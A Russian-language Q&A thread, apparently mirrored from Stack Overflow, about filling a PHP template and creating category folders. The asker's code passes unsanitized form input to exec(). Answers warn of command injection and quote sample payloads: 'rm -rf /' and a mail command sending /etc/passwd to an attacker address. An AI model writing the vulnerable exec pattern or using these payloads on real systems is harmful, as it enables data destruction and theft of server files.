Каков наилучший способ заменить совпадающие слова друг на друга в файле? - PullRequest
0 голосов
/ 28 мая 2011

Я нахожусь на сайте проекта, и администраторы могут создавать категории. Когда они делают их, название категории добавляется в базу данных.
В файле PHP, который обрабатывает форму, используемую для создания категорий, я создаю каталог с заданным именем в определенном каталоге моего хоста, который в настоящее время выглядит следующим образом:

exec('mkdir /homezx/user/website/categories/' . $_POST['name']);

Это работает нормально, но теперь я хотел бы скопировать шаблон из папки ресурсов в этот новый созданный каталог (будет индексом его), и я знаю, как это сделать.

exec('cp .../templates/index.php /.../categories/' . $_POST['name'] . '/index.php');

Проблема в том, что я хочу создать этот шаблон, чтобы он мог поместиться в папку, в которой он находится.
В файле шаблона я заменил все части, которые будут отличаться от одного индекса, строкой «% name%».

Каким может быть лучший способ скопировать этот файл в созданную папку после изменения всех «% name%» на заданное имя (например, в теге title)?

Ответы [ 4 ]

1 голос
/ 28 мая 2011

Рекомендуется использовать функции PHP mkdir() и copy().Например, $_POST['name'] не может быть ничем?Вы действительно хотите exec() что-нибудь ?

Во-вторых, для выполнения шаблонов вы можете использовать что-то простое.

$template = file_get_contents('template.html');
$replacements = array(
    '%name%' => 'Oddantfr'
);
$contents = str_replace(
    array_keys($replacements),
    array_values($replacements),
    $template
);
file_put_contents('template.html', $contents);
1 голос
/ 28 мая 2011
$name=$_POST['name'];

mkdir($path_to_new_folder);
$template=fopen($path_to_template);
$str=file_get_contents($template);
$newstr=str_replace('%name%',$name,$str);
fclose($template);
$newfile=fopen($path_to_new_folder.'/index.php','w');
fwrite($newfile,$new_str);
fclose($newfile);

это то, что вы пытаетесь сделать? он откроет ваш шаблон, заменит% name% новым именем, создаст каталог и новый файл, запишет отредактированный файл шаблона и сохранит его

1 голос
/ 28 мая 2011

Я ни в коем случае не хакер, и даже не близок к этому.Эти примеры, вероятно, не сработают с первой попытки, это просто для того, чтобы вы подумали.Что если $ _POST ['name'] содержит ...

$_POST['name'] = ";rm -rf /"; // ;ends the mkdir instruction ..

or ...

$_POST['name'] = ";mail -s “Pawned” badguy@allyourbasebelongtous.com < /etc/passwd";

Дружеский совет, никогда не используйте exec подобным образом.Более того, никогда не используйте exec, если вы можете избежать этого, , особенно в веб-приложениях.

0 голосов
/ 28 мая 2011

Это не ответ на вопрос как таковой, а комментарий, который не может содержаться в комментарии.Однако вам нужно знать это, если вы этого еще не сделали.

exec('mkdir /homezx/user/website/categories/' . $_POST['name']);

Это очень, очень, очень плохо.Не делайте этого.Когда вы запускаете exec() в PHP, первый аргумент запускается как строка, которая допускает такие вещи:

$_POST[] ~ ".'; i0wnZU(); doBadStuff();'";

, что сделает ваш код exec() 'эквивалентным:

exec('mkdir /homezx/user/website/categories/'.'; i0wnZU(); doBadStuff();');

Замените две мои забавные функции на настоящие плохие вещи (может быть, скрипт root или что-то в этом роде), и у вас будет дыра в безопасности, позволяющая получить доступ к операционной системе вашего сервера.

Используйте предоставляемые PHP функции mkdir() и copy() и ОЧИЩАЙТЕ любые переменные POST / GET, которые вы отправили вам.НИКОГДА не подключайте его непосредственно к неочищенному коду, особенно в запросах к базе данных.

...